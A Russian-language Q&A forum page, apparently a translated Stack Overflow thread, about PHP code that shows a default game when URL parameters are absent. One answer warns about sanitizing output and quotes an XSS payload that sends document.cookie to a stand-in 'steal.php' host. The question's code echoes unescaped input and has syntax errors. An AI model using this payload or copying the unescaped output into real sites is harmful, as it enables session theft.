PHP: установить переменную для получения значения - PullRequest
1 голос
/ 21 декабря 2009

Я создаю игровой веб-сайт с использованием PHP и хочу использовать одну страницу для игры, а не кучу. Я хочу, чтобы информация вводилась так:

`? Swf = [путь к .swf] & name = [название игры] & description = [описание игры] & инструкция = [инструкции к игре]` `

Проблема в том, что если в URL не введены данные, возвращается черная страница. Я хочу использовать if ... else для отображения популярной игры, если в URL ничего нет. Код, который у меня есть сейчас:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

Может кто-нибудь предложить какие-либо предложения о том, как это сделать?

Ответы [ 3 ]

3 голосов
/ 21 декабря 2009

Я не уверен, что делает if ($ name == "*"), но я бы использовал

if(isset($_GET['name']))

вместо этого, чтобы проверить, передано ли имя в URL.

1 голос
/ 21 декабря 2009

Полагаю, с $_GET['name'] == "*" вы что-то путаете. В этом контексте это просто сравнение строк. * не является подстановочным знаком, который соответствует чему-либо как в SQL. Если вы хотите проверить, есть ли что-то в $_GET['name'], вы можете использовать empty или isset .

Кроме того, я предлагаю вам просто проверить name, потому что все ваши параметры концептуально относятся к игре. Если нет name, не будет description и instructions.

Но что бы вы ни делали, обязательно очистите параметры, которые вы собираетесь выводить, иначе кто-то рано или поздно предоставит это или что-то подобное для имени:

<script>document.location='http://www.example.com/steal.php?'+document.cookie</script> 
0 голосов
/ 21 декабря 2009
if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...